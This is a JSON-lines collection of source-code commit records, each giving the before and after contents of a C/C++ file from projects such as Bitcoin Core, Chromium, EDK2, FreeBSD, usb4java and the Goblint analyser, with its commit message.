{"commit":"fa8de09edc9ec4e6d171df80f746174a0ec58afb","old_file":"src\/util\/result.h","new_file":"src\/util\/result.h","old_contents":"\/\/ Copyright (c) 2022 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or https:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_UTIL_RESULT_H\n#define BITCOIN_UTIL_RESULT_H\n\n#include <util\/translation.h>\n#include <variant>\n\n\/*\n * 'BResult' is a generic class useful for wrapping a return object\n * (in case of success) or propagating the error cause.\n*\/\ntemplate<class T>\nclass BResult {\nprivate:\n    std::variant<bilingual_str, T> m_variant;\n\npublic:\n    BResult() : m_variant(Untranslated(\"\")) {}\n    BResult(const T& _obj) : m_variant(_obj) {}\n    BResult(const bilingual_str& error) : m_variant(error) {}\n\n    \/* Whether the function succeeded or not *\/\n    bool HasRes() const { return std::holds_alternative<T>(m_variant); }\n\n    \/* In case of success, the result object *\/\n    const T& GetObj() const {\n        assert(HasRes());\n        return std::get<T>(m_variant);\n    }\n\n    \/* In case of failure, the error cause *\/\n    const bilingual_str& GetError() const {\n        assert(!HasRes());\n        return std::get<bilingual_str>(m_variant);\n    }\n\n    explicit operator bool() const { return HasRes(); }\n};\n\n#endif \/\/ BITCOIN_UTIL_RESULT_H\n","new_contents":"\/\/ Copyright (c) 2022 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or https:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_UTIL_RESULT_H\n#define BITCOIN_UTIL_RESULT_H\n\n#include <util\/translation.h>\n\n#include <variant>\n\n\/*\n * 'BResult' is a generic class useful for wrapping a return object\n * (in case of success) or propagating the error cause.\n*\/\ntemplate<class T>\nclass BResult {\nprivate:\n    std::variant<bilingual_str, T> m_variant;\n\npublic:\n    BResult() : m_variant{Untranslated(\"\")} {}\n    BResult(T obj) : m_variant{std::move(obj)} {}\n    BResult(bilingual_str error) : m_variant{std::move(error)} {}\n\n    \/* Whether the function succeeded or not *\/\n    bool HasRes() const { return std::holds_alternative<T>(m_variant); }\n\n    \/* In case of success, the result object *\/\n    const T& GetObj() const {\n        assert(HasRes());\n        return std::get<T>(m_variant);\n    }\n    T ReleaseObj()\n    {\n        assert(HasRes());\n        return std::move(std::get<T>(m_variant));\n    }\n\n    \/* In case of failure, the error cause *\/\n    const bilingual_str& GetError() const {\n        assert(!HasRes());\n        return std::get<bilingual_str>(m_variant);\n    }\n\n    explicit operator bool() const { return HasRes(); }\n};\n\n#endif \/\/ BITCOIN_UTIL_RESULT_H\n","subject":"Prepare BResult for non-copyable types","message":"Prepare BResult for non-copyable types\n","lang":"C","license":"mit","repos":"fujicoin\/fujicoin,lateminer\/bitcoin,lateminer\/bitcoin,jamesob\/bitcoin,namecoin\/namecore,lateminer\/bitcoin,kallewoof\/bitcoin,fujicoin\/fujicoin,AkioNak\/bitcoin,mruddy\/bitcoin,jamesob\/bitcoin,ajtowns\/bitcoin,bitcoin\/bitcoin,fanquake\/bitcoin,sipsorcery\/bitcoin,ajtowns\/bitcoin,namecoin\/namecoin-core,fujicoin\/fujicoin,particl\/particl-core,tecnovert\/particl-core,tecnovert\/particl-core,mruddy\/bitcoin,jambolo\/bitcoin,kallewoof\/bitcoin,tecnovert\/particl-core,kallewoof\/bitcoin,fanquake\/bitcoin,jamesob\/bitcoin,bitcoin\/bitcoin,ajtowns\/bitcoin,bitcoinsSG\/bitcoin,mruddy\/bitcoin,jamesob\/bitcoin,fujicoin\/fujicoin,sipsorcery\/bitcoin,bitcoinsSG\/bitcoin,particl\/particl-core,bitcoin\/bitcoin,sstone\/bitcoin,fanquake\/bitcoin,Xekyo\/bitcoin,AkioNak\/bitcoin,sstone\/bitcoin,namecoin\/namecoin-core,Xekyo\/bitcoin,fanquake\/bitcoin,namecoin\/namecoin-core,jambolo\/bitcoin,bitcoinsSG\/bitcoin,mruddy\/bitcoin,mruddy\/bitcoin,tecnovert\/particl-core,AkioNak\/bitcoin,lateminer\/bitcoin,AkioNak\/bitcoin,sipsorcery\/bitcoin,namecoin\/namecore,bitcoinsSG\/bitcoin,kallewoof\/bitcoin,sstone\/bitcoin,namecoin\/namecore,fanquake\/bitcoin,namecoin\/namecoin-core,namecoin\/namecoin-core,sipsorcery\/bitcoin,fujicoin\/fujicoin,kallewoof\/bitcoin,ajtowns\/bitcoin,sipsorcery\/bitcoin,fanquake\/bitcoin,particl\/particl-core,Xekyo\/bitcoin,Xekyo\/bitcoin,sipsorcery\/bitcoin,namecoin\/namecore,particl\/particl-core,lateminer\/bitcoin,sstone\/bitcoin,namecoin\/namecore,jambolo\/bitcoin,bitcoin\/bitcoin,bitcoinsSG\/bitcoin,jamesob\/bitcoin,sstone\/bitcoin,namecoin\/namecoin-core,namecoin\/namecore,Xekyo\/bitcoin,bitcoinsSG\/bitcoin,kallewoof\/bitcoin,jambolo\/bitcoin,jambolo\/bitcoin,jamesob\/bitcoin,mruddy\/bitcoin,fujicoin\/fujicoin,jambolo\/bitcoin,ajtowns\/bitcoin,tecnovert\/particl-core,lateminer\/bitcoin,particl\/particl-core,AkioNak\/bitcoin,AkioNak\/bitcoin,tecnovert\/particl-core,bitcoin\/bitcoin,bitcoin\/bitcoin,sstone\/bitcoin,particl\/particl-core,ajtowns\/bitcoin,Xekyo\/bitcoin"}
{"commit":"2788f282bbd2e945c1e77c94bc45b8ece5f9b4db","old_file":"src\/Subtitles\/paletteinfo.h","new_file":"src\/Subtitles\/paletteinfo.h","old_contents":"\/*\r\n * BDSup2Sub++ (C) 2012 Adam T.\r\n * Based on code from BDSup2Sub by Copyright 2009 Volker Oth (0xdeadbeef)\r\n * and Copyright 2012 Miklos Juhasz (mjuhasz)\r\n *\r\n *\r\n * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n * you may not use this file except in compliance with the License.\r\n * You may obtain a copy of the License at\r\n *\r\n *    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n *\/\r\n\r\n#ifndef PALETTEINFO_H\r\n#define PALETTEINFO_H\r\n\r\nclass PaletteInfo\r\n{\r\npublic:\r\n    PaletteInfo();\r\n    PaletteInfo(const PaletteInfo* other);\r\n    PaletteInfo(const PaletteInfo& other);\r\n\r\n    int paletteOffset() { return offset; }\r\n    void setPaletteOffset(int paletteOffset) { offset = paletteOffset; }\r\n    int paletteSize() { return size; }\r\n    void setPaletteSize(int paletteSize) { size = paletteSize; }\r\n\r\nprivate:\r\n    int offset = 0;\r\n    int size = 0;\r\n};\r\n\r\n#endif \/\/ PALETTEINFO_H\r\n","new_contents":"\/*\r\n * BDSup2Sub++ (C) 2012 Adam T.\r\n * Based on code from BDSup2Sub by Copyright 2009 Volker Oth (0xdeadbeef)\r\n * and Copyright 2012 Miklos Juhasz (mjuhasz)\r\n *\r\n *\r\n * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n * you may not use this file except in compliance with the License.\r\n * You may obtain a copy of the License at\r\n *\r\n *    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n *\/\r\n\r\n#ifndef PALETTEINFO_H\r\n#define PALETTEINFO_H\r\n\r\nclass PaletteInfo\r\n{\r\npublic:\r\n    PaletteInfo();\r\n    PaletteInfo(const PaletteInfo* other);\r\n    PaletteInfo(const PaletteInfo& other);\r\n\r\n    int paletteOffset() { return offset; }\r\n    void setPaletteOffset(int paletteOffset) { offset = paletteOffset; }\r\n    int paletteSize() { return size; }\r\n    void setPaletteSize(int paletteSize) { size = paletteSize; }\r\n\r\nprivate:\r\n    int offset = -1;\r\n    int size = -1;\r\n};\r\n\r\n#endif \/\/ PALETTEINFO_H\r\n","subject":"Change default values to -1.","message":"Change default values to -1.\n","lang":"C","license":"apache-2.0","repos":"darealshinji\/BDSup2SubPlusPlus,amichaelt\/BDSup2SubPlusPlus,amichaelt\/BDSup2SubPlusPlus,darealshinji\/BDSup2SubPlusPlus"}
{"commit":"261c3596a30b92539109894541f17d5f6b7c985a","old_file":"IntelFrameworkModulePkg\/Include\/Guid\/IntelFrameworkModulePkgTokenSpace.h","new_file":"IntelFrameworkModulePkg\/Include\/Guid\/IntelFrameworkModulePkgTokenSpace.h","old_contents":"","new_contents":"\/** @file\r\n  GUID for IntelFrameworkModulePkg PCD Token Space \r\n\r\n  Copyright (c) 2009, Intel Corporation\r\n  All rights reserved. This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n**\/\r\n\r\n#ifndef _INTEL_FRAMEWOKR_MODULEPKG_TOKEN_SPACE_GUID_H_\r\n#define _INTEL_FRAMEWOKR_MODULEPKG_TOKEN_SPACE_GUID_H_\r\n\r\n#define INTEL_FRAMEWORK_MODULEPKG_TOKEN_SPACE_GUID \\\r\n  { \\\r\n    0x914AEBE7, 0x4635, 0x459b, { 0xAA, 0x1C, 0x11, 0xE2, 0x19, 0xB0, 0x3A, 0x10 } \\\r\n  }\r\n\r\nextern EFI_GUID gEfiIntelFrameworkModulePkgTokenSpaceGuid;\r\n\r\n#endif\r\n","subject":"Add the missing Token Space Guid","message":"Add the missing Token Space Guid \n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@8500 6f19259b-4bc3-4df7-8a09-765794883524\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"f94c619e73b934b8f32edf303cc8998670f7cc64","old_file":"chrome\/common\/all_messages.h","new_file":"chrome\/common\/all_messages.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Multiply-included file, hence no include guard.\n\/\/ Inclusion of all message files present in the system.  Keep this file\n\/\/ up-to-date when adding a new value to enum IPCMessageStart in\n\/\/ ipc\/ipc_message_utils.h to include the corresponding message file.\n#include \"chrome\/browser\/importer\/profile_import_process_messages.h\"\n#include \"chrome\/common\/automation_messages.h\"\n#include \"chrome\/common\/common_message_generator.h\"\n#include \"chrome\/common\/nacl_messages.h\"\n#include \"content\/common\/content_message_generator.h\"\n#include \"ppapi\/proxy\/ppapi_messages.h\"\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ Multiply-included file, hence no include guard.\n\/\/ Inclusion of all message files present in the system.  Keep this file\n\/\/ up-to-date when adding a new value to enum IPCMessageStart in\n\/\/ ipc\/ipc_message_utils.h to include the corresponding message file.\n#include \"chrome\/browser\/importer\/profile_import_process_messages.h\"\n#include \"chrome\/common\/common_message_generator.h\"\n#include \"chrome\/common\/nacl_messages.h\"\n#include \"content\/common\/content_message_generator.h\"\n#include \"content\/common\/pepper_messages.h\"\n#include \"ppapi\/proxy\/ppapi_messages.h\"\n","subject":"Fix build break from bad merge","message":"Fix build break from bad merge\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@106741 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,dushu1203\/chromium.src,dushu1203\/chromium.src,robclark\/chromium,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,keishi\/chromium,littlstar\/chromium.src,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,bright-sparks\/chromium-spacewalk,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,dushu1203\/chromium.src,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,hujiajie\/pa-chromium,anirudhSK\/chromium,Chilledheart\/chromium,timopulkkinen\/BubbleFish,Chilledheart\/chromium,dednal\/chromium.src,ondra-novak\/chromium.src,keishi\/chromium,markYoungH\/chromium.src,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,bright-sparks\/chromium-spacewalk,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Just-D\/chromium-1,ChromiumWebApps\/chromium,axinging\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,zcbenz\/cefode-chromium,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,zcbenz\/cefode-chromium,Pluto-tv\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,littlstar\/chromium.src,mogoweb\/chromium-crosswalk,dednal\/chromium.src,chuan9\/chromium-crosswalk,ltilve\/chromium,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,keishi\/chromium,Fireblend\/chromium-crosswalk,ltilve\/chromium,markYoungH\/chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,nacl-webkit\/chrome_deps,patrickm\/chromium.src,anirudhSK\/chromium,dushu1203\/chromium.src,anirudhSK\/chromium,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,anirudhSK\/chromium,chuan9\/chromium-crosswalk,zcbenz\/cefode-chromium,keishi\/chromium,ChromiumWebApps\/chromium,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,hujiajie\/pa-chromium,markYoungH\/chromium.src,keishi\/chromium,junmin-zhu\/chromium-rivertrail,crosswalk-project\/chromium-crosswalk-efl,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,patrickm\/chromium.src,junmin-zhu\/chromium-rivertrail,mogoweb\/chromium-crosswalk,dednal\/chromium.src,robclark\/chromium,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium,zcbenz\/cefode-chromium,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,M4sse\/chromium.src,dednal\/chromium.src,M4sse\/chromium.src,chuan9\/chromium-crosswalk,robclark\/chromium,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,patrickm\/chromium.src,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,Just-D\/chromium-1,ChromiumWebApps\/chromium,crosswalk-project\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,dednal\/chromium.src,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,dednal\/chromium.src,dednal\/chromium.src,Fireblend\/chromium-crosswalk,timopulkkinen\/BubbleFish,keishi\/chromium,bright-sparks\/chromium-spacewalk,Pluto-tv\/chromium-crosswalk,chuan9\/chromium-crosswalk,M4sse\/chromium.src,bright-sparks\/chromium-spacewalk,robclark\/chromium,timopulkkinen\/BubbleFish,dednal\/chromium.src,axinging\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,Fireblend\/chromium-crosswalk,hujiajie\/pa-chromium,rogerwang\/chromium,Pluto-tv\/chromium-crosswalk,dushu1203\/chromium.src,nacl-webkit\/chrome_deps,markYoungH\/chromium.src,dednal\/chromium.src,zcbenz\/cefode-chromium,anirudhSK\/chromium,hujiajie\/pa-chromium,Jonekee\/chromium.src,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,robclark\/chromium,ChromiumWebApps\/chromium,ondra-novak\/chromium.src,hujiajie\/pa-chromium,keishi\/chromium,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,rogerwang\/chromium,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,rogerwang\/chromium,zcbenz\/cefode-chromium,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,littlstar\/chromium.src,jaruba\/chromium.src,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,patrickm\/chromium.src,rogerwang\/chromium,robclark\/chromium,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Chilledheart\/chromium,ChromiumWebApps\/chromium,keishi\/chromium,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,ltilve\/chromium,markYoungH\/chromium.src,anirudhSK\/chromium,ChromiumWebApps\/chromium,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,jaruba\/chromium.src,robclark\/chromium,Pluto-tv\/chromium-crosswalk,mogoweb\/chromium-crosswalk,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,jaruba\/chromium.src,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,Just-D\/chromium-1,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,jaruba\/chromium.src,TheTypoMaster\/chromium-crosswalk,ltilve\/chromium,Just-D\/chromium-1,axinging\/chromium-crosswalk,ltilve\/chromium,pozdnyakov\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,mogoweb\/chromium-crosswalk,Fireblend\/chromium-crosswalk,patrickm\/chromium.src,Jonekee\/chromium.src,rogerwang\/chromium,hujiajie\/pa-chromium,jaruba\/chromium.src,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,keishi\/chromium,ChromiumWebApps\/chromium,ltilve\/chromium,anirudhSK\/chromium,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,patrickm\/chromium.src,rogerwang\/chromium,mohamed--abdel-maksoud\/chromium.src,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,Just-D\/chromium-1,dednal\/chromium.src,patrickm\/chromium.src,Chilledheart\/chromium,littlstar\/chromium.src,chuan9\/chromium-crosswalk,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,mohamed--abdel-maksoud\/chromium.src,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,Jonekee\/chromium.src,Just-D\/chromium-1,littlstar\/chromium.src,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,jaruba\/chromium.src,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,rogerwang\/chromium,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,markYoungH\/chromium.src,M4sse\/chromium.src,jaruba\/chromium.src,chuan9\/chromium-crosswalk,rogerwang\/chromium,Fireblend\/chromium-crosswalk,axinging\/chromium-crosswalk,dushu1203\/chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk,robclark\/chromium,Chilledheart\/chromium,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,rogerwang\/chromium,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,hgl888\/chromium-crosswalk-efl,robclark\/chromium,crosswalk-project\/chromium-crosswalk-efl,rogerwang\/chromium,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,fujunwei\/chromium-crosswalk,nacl-webkit\/chrome_deps,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,robclark\/chromium,M4sse\/chromium.src,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,mogoweb\/chromium-crosswalk,markYoungH\/chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,patrickm\/chromium.src,Jonekee\/chromium.src,M4sse\/chromium.src,Pluto-tv\/chromium-crosswalk,Just-D\/chromium-1,littlstar\/chromium.src,jaruba\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,markYoungH\/chromium.src"}
{"commit":"2c5ea3c7a451cf4c0e4612be05ed67bdf6ae86e6","old_file":"src\/main\/c\/src\/DeviceList.c","new_file":"src\/main\/c\/src\/DeviceList.c","old_contents":"\/*\n * Copyright (C) 2013 Klaus Reimer (k@ailis.de)\n * See COPYING file for copying conditions\n *\/\n\n#include \"DeviceList.h\"\n#include \"Device.h\"\n\nvoid setDeviceList(JNIEnv* env, libusb_device** list, int size, jobject object)\n{\n    SET_POINTER(env, list, object, \"deviceListPointer\");\n\n    jclass cls = (*env)->GetObjectClass(env, object);\n    jfieldID field = (*env)->GetFieldID(env, cls, \"size\", \"I\");\n    (*env)->SetIntField(env, object, field, size);\n}\n\nlibusb_device** unwrapDeviceList(JNIEnv* env, jobject list)\n{\n    UNWRAP_POINTER(env, list, libusb_device**, \"deviceListPointer\");\n}\n\nvoid resetDeviceList(JNIEnv* env, jobject obj)\n{\n    RESET_POINTER(env, obj, \"deviceListPointer\");\n}\n\n\/**\n * Device get(index)\n *\/\nJNIEXPORT jobject JNICALL METHOD_NAME(DeviceList, get)\n(\n    JNIEnv *env, jobject this, jint index\n)\n{\n    jclass cls = (*env)->GetObjectClass(env, this);\n    jfieldID field = (*env)->GetFieldID(env, cls, \"size\", \"I\");\n    int size = (*env)->GetIntField(env, this, field);\n    if (index < 0 || index >= size) return NULL;\n    return wrapDevice(env, unwrapDeviceList(env, this)[index]);\n}\n","new_contents":"\/*\n * Copyright (C) 2013 Klaus Reimer (k@ailis.de)\n * See COPYING file for copying conditions\n *\/\n\n#include \"DeviceList.h\"\n#include \"Device.h\"\n\nvoid setDeviceList(JNIEnv* env, libusb_device** list, int size, jobject object)\n{\n    SET_POINTER(env, list, object, \"deviceListPointer\");\n\n    jclass cls = (*env)->GetObjectClass(env, object);\n    jfieldID field = (*env)->GetFieldID(env, cls, \"size\", \"I\");\n    (*env)->SetIntField(env, object, field, size);\n}\n\nlibusb_device** unwrapDeviceList(JNIEnv* env, jobject list)\n{\n    UNWRAP_POINTER(env, list, libusb_device**, \"deviceListPointer\");\n}\n\nvoid resetDeviceList(JNIEnv* env, jobject obj)\n{\n    RESET_POINTER(env, obj, \"deviceListPointer\");\n\n    \/\/ Reset size to zero too.\n    jclass cls = (*env)->GetObjectClass(env, obj);\n    jfieldID field = (*env)->GetFieldID(env, cls, \"size\", \"I\");\n    (*env)->SetIntField(env, object, field, 0);\n}\n\n\/**\n * Device get(index)\n *\/\nJNIEXPORT jobject JNICALL METHOD_NAME(DeviceList, get)\n(\n    JNIEnv *env, jobject this, jint index\n)\n{\n    jclass cls = (*env)->GetObjectClass(env, this);\n    jfieldID field = (*env)->GetFieldID(env, cls, \"size\", \"I\");\n    int size = (*env)->GetIntField(env, this, field);\n    if (index < 0 || index >= size) return NULL;\n    return wrapDevice(env, unwrapDeviceList(env, this)[index]);\n}\n","subject":"Set size to zero on reset. Else getting the size is incorrect, and later when checking in get() it would pass the check and you'd access a NULL ptr.","message":"Set size to zero on reset. Else getting the size is incorrect, and later when checking in get() it would pass the check and you'd access a NULL ptr.\n","lang":"C","license":"mit","repos":"zodsoft\/usb4java,usb4java\/usb4java"}
{"commit":"5b6d5b3f4b105ca4a7229e76895304e038457dcb","old_file":"sys\/dev\/advansys\/advmcode.h","new_file":"sys\/dev\/advansys\/advmcode.h","old_contents":"\/*\n * Exported interface to downloadable microcode for AdvanSys SCSI Adapters\n *\n * $FreeBSD$\n *\n * Obtained from:\n *\n * Copyright (c) 1995-1999 Advanced System Products, Inc.\n * All Rights Reserved.\n *   \n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that redistributions of source\n * code retain the above copyright notice and this comment without\n * modification.\n *\/\n\nextern u_int16_t adv_mcode[];\nextern u_int16_t adv_mcode_size;\nextern u_int32_t adv_mcode_chksum;\n","new_contents":"\/*\n * Exported interface to downloadable microcode for AdvanSys SCSI Adapters\n *\n * $FreeBSD$\n *\n * Obtained from:\n *\n * Copyright (c) 1995-1999 Advanced System Products, Inc.\n * All Rights Reserved.\n *   \n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that redistributions of source\n * code retain the above copyright notice and this comment without\n * modification.\n *\/\n\nextern u_int8_t adv_mcode[];\nextern u_int16_t adv_mcode_size;\nextern u_int32_t adv_mcode_chksum;\n","subject":"Make the extern for adv_mcode match the reality: it's u_int8_t, but probably unendiansafely used as u_int16_t.","message":"Make the extern for adv_mcode match the reality: it's u_int8_t, but\nprobably unendiansafely used as u_int16_t.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"7abb940384e7d5f7a30188d5b227cb6b1727800d","old_file":"tests\/regression\/04-mutex\/59-td3-self-abort.c","new_file":"tests\/regression\/04-mutex\/59-td3-self-abort.c","old_contents":"","new_contents":"#include <pthread.h>\n\nint myglobal;\n\nvoid *t_fun(void *arg) {\n  myglobal=1; \/\/ RACE!\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n  myglobal = myglobal+1; \/\/ RACE!\n  return 0;\n}\n","subject":"Add regression test where TD3 aborting with self-dependency and fixed switch to Narrow is unsound","message":"Add regression test where TD3 aborting with self-dependency and fixed switch to Narrow is unsound\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
